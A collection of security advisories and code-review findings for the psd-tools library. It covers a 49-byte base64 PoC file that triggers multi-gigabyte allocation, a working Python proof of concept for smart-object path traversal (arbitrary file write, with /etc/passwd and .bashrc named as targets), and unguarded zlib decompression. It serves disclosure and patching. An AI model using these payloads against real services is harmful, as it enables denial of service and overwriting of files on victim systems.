Impact: Theoretical infinite loop or UB at >2 GB row sizes; not reachable from standard PSD/PSB parsing.

Suggested mitigation: Change cdef int i, j, length to cdef Py_ssize_t.

5. Silent data degradation not surfaced to callers (Informational)

Location: src/psd_tools/compression/__init__.py, lines 144–157

The tolerant RLE decoder (introduced in 2a006f5) replaces malformed channel data with zero-padded (black) pixels and emits a logger.warning. This is the correct trade-off over crashing, but the warning is only observable if the caller has configured a log handler. The public PSDImage API does not surface channel-level decode failures to the user in any other way.

Impact: A user parsing a silently corrupt file gets a visually wrong image with no programmatic signal to check.

Suggested mitigation: Consider exposing a per-channel decode-error flag or raising a distinct warning category that users can filter or escalate via the warnings module.

6. encode() zero-length return type inconsistency in Cython (Informational)

Location: src/psd_tools/compression/_rle.pyx, lines 66–67

if length == 0:
    return data   # returns a memoryview, not an explicit std::string

All other return paths return an explicit cdef string result. This path returns data (a const unsigned char[:] memoryview) and relies on Cython's implicit coercion to bytes. It is functionally equivalent today but is semantically inconsistent and fragile if Cython's coercion rules change in a future version.

Impact: Potential silent breakage in future Cython versions; not a current security issue.

Suggested mitigation: Replace return data with return result (the already-declared empty string).

Environment

• Branch: fix/invalid-rle-compression
• Reviewed commits: 7490ffa, 2a006f5
• Python: 3.x (Cython extension compiled for CPython)

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

A security review of the psd_tools.compression module (conducted against the fix/invalid-rle-compression branch, commits 7490ffa–2a006f5) identified the following pre-existing issues. The two findings introduced and fixed by those commits (Cython buffer overflow, IndexError on lone repeat header) are excluded from this report.

Findings

1. Unguarded zlib.decompress — ZIP bomb / memory exhaustion (Medium)

Location: src/psd_tools/compression/__init__.py, lines 159 and 162

result = zlib.decompress(data)          # Compression.ZIP
decompressed = zlib.decompress(data)    # Compression.ZIP_WITH_PREDICTION

zlib.decompress is called without a max_length cap. A crafted PSD file containing a ZIP-compressed channel whose compressed payload expands to gigabytes would exhaust process memory before any limit is enforced. The RLE path is not vulnerable to this because the decoder pre-allocates exactly row_size × height bytes; the ZIP path has no equivalent ceiling.

Impact: Denial-of-service / OOM crash when processing untrusted PSD files.

Suggested mitigation: Pass a reasonable max_length to zlib.decompress, derived from the expected width * height * depth // 8 byte count already computed in decompress().

2. No upper-bound validation on image dimensions before allocation (Low)

Location: src/psd_tools/compression/__init__.py, lines 138 and 193

length = width * height * max(1, depth // 8)   # decompress()
row_size = max(width * depth // 8, 1)           # decode_rle()

Neither width, height, nor depth are range-checked before these values drive memory allocation. The PSD format (version 2 / PSB) permits dimensions up to 300,000 × 300,000 pixels; a 4-channel 32-bit image at that size would require ~144 TB to hold. While the OS/Python allocator will reject such a request, there is no early, explicit guard that produces a clean, user-facing error.